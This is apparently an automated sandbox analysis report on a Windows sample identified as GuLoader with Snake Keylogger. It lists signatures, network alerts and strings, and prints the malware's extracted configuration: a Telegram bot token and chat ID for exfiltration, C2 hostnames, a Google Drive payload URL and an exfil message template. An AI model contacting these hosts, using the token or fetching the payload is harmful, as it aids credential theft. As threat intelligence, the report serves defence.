Edit tour

Windows Analysis Report
Fa24c148.exe

Overview

General Information

Sample name:	Fa24c148.exe
Analysis ID:	1543766
MD5:	7644ebbf786053ffaf95dbe86b7de5d4
SHA1:	5d563fb10f6d71049ae5f69fb6ccb9f2217ddf32
SHA256:	0b7ba80811d300aefe42de77b7b8fb2d5b6f9a8d4f2cf3d1213b6fead5efb59b
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Fa24c148.exe (PID: 6572 cmdline: "C:\Users\user\Desktop\Fa24c148.exe" MD5: 7644EBBF786053FFAF95DBE86B7DE5D4)

Fa24c148.exe (PID: 1440 cmdline: "C:\Users\user\Desktop\Fa24c148.exe" MD5: 7644EBBF786053FFAF95DBE86B7DE5D4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "8148338634:AAFvLNrhxaF7bMPzQMLbUnueRMJvDIi5kcU", "Chat_id": "7698865320", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2029869938.0000000005425000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Fa24c148.exe PID: 1440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Fa24c148.exe PID: 1440	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T12:22:37.535463+0100	2803305	3	Unknown Traffic	192.168.2.4	49740	188.114.97.3	443	TCP
2024-10-28T12:22:42.712859+0100	2803305	3	Unknown Traffic	192.168.2.4	49746	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T12:22:34.997069+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	132.226.247.73	80	TCP
2024-10-28T12:22:36.809593+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	132.226.247.73	80	TCP
2024-10-28T12:22:38.465929+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T12:22:28.723071+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49736	142.250.185.206	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 28 Oct 2024 11:22:50 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Fa24c148.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a
Source: Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Fa24c148.exe, 00000004.00000002.2951440746.0000000033782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Fa24c148.exe, 00000004.00000002.2951440746.000000003377D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Fa24c148.exe, 00000004.00000002.2930604280.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Fa24c148.exe, 00000004.00000002.2930604280.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/o
Source: Fa24c148.exe, 00000004.00000002.2930604280.0000000002F42000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2930879164.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6
Source: Fa24c148.exe, 00000004.00000003.2115761364.0000000002F76000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2930604280.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2115761364.0000000002F76000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2930604280.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2930604280.0000000002F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=download
Source: Fa24c148.exe, 00000004.00000003.2115761364.0000000002F76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=downloadal
Source: Fa24c148.exe, 00000004.00000003.2115761364.0000000002F76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=downloadle
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Fa24c148.exe, 00000004.00000002.2951440746.000000003360D000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.000000003367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Fa24c148.exe, 00000004.00000002.2951440746.000000003360D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Fa24c148.exe, 00000004.00000002.2951440746.000000003367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.188
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000336A4000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.0000000033637000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.000000003367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/155.94.241.188$
Source: Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Fa24c148.exe, 00000004.00000002.2952797218.0000000034699000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.00000000346E7000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034940000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003483D000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003470E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Fa24c148.exe, 00000004.00000002.2952797218.00000000346E9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034674000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003469F000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034843000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034818000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Fa24c148.exe, 00000004.00000002.2952797218.0000000034699000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.00000000346E7000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034940000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003483D000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003470E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Fa24c148.exe, 00000004.00000002.2952797218.00000000346E9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034674000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003469F000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034843000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.0000000034818000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2952797218.000000003491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Fa24c148.exe, 00000004.00000002.2952797218.000000003488B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Fa24c148.exe, 00000004.00000003.2078462414.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F6F000.00000004.00000020.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000003.2078376350.0000000002F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000337B3000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp, Fa24c148.exe, 00000004.00000002.2951440746.00000000337A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Fa24c148.exe, 00000004.00000002.2951440746.00000000337AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.206:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.65:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49772 version: TLS 1.2

Source: C:\Users\user\Desktop\Fa24c148.exe

Code function: 0_2_00405160 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405160

Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 0_2_004031FF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,ExitProcess,		0_2_004031FF
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_004031FF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,ExitProcess,		4_2_004031FF

Source: C:\Users\user\Desktop\Fa24c148.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 0_2_004063CC	0_2_004063CC
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 0_2_0040499D	0_2_0040499D
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_004063CC	4_2_004063CC
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0040499D	4_2_0040499D
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016A088	4_2_0016A088
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016C147	4_2_0016C147
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016D278	4_2_0016D278
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_00165362	4_2_00165362
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016C468	4_2_0016C468
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_00166498	4_2_00166498
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016D548	4_2_0016D548
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_001676F1	4_2_001676F1
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016C738	4_2_0016C738
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016E988	4_2_0016E988
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016CA08	4_2_0016CA08
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016CCD8	4_2_0016CCD8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016CFAA	4_2_0016CFAA
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_00166FC8	4_2_00166FC8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016E97A	4_2_0016E97A
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_0016F961	4_2_0016F961
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_00163E09	4_2_00163E09
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35782968	4_2_35782968
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35789548	4_2_35789548
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578FC68	4_2_3578FC68
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35785028	4_2_35785028
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_357817A0	4_2_357817A0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578DE00	4_2_3578DE00
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35781E80	4_2_35781E80
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578D550	4_2_3578D550
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578D540	4_2_3578D540
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578DDF1	4_2_3578DDF1
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578D9A8	4_2_3578D9A8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578D999	4_2_3578D999
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35780040	4_2_35780040
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578003F	4_2_3578003F
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35789C18	4_2_35789C18
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35785018	4_2_35785018
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578001B	4_2_3578001B
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578F810	4_2_3578F810
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578F803	4_2_3578F803
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578D0F8	4_2_3578D0F8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578CCA0	4_2_3578CCA0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578EF60	4_2_3578EF60
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578EF51	4_2_3578EF51
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35780B30	4_2_35780B30
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35780B20	4_2_35780B20
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578EB08	4_2_3578EB08
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578F3B8	4_2_3578F3B8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578F3A8	4_2_3578F3A8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35788BA0	4_2_35788BA0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578178F	4_2_3578178F
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35781E70	4_2_35781E70
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578E258	4_2_3578E258
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578E24B	4_2_3578E24B
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578EAF8	4_2_3578EAF8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578E6B0	4_2_3578E6B0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578E6AF	4_2_3578E6AF
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_3578E6A0	4_2_3578E6A0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35E681D0	4_2_35E681D0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35E68FB0	4_2_35E68FB0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35E67B78	4_2_35E67B78
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35E6C9E8	4_2_35E6C9E8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35E615E8	4_2_35E615E8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35E615F8	4_2_35E615F8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35E62FF9	4_2_35E62FF9
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4_2_35E6E9C8	4_2_35E6E9C8
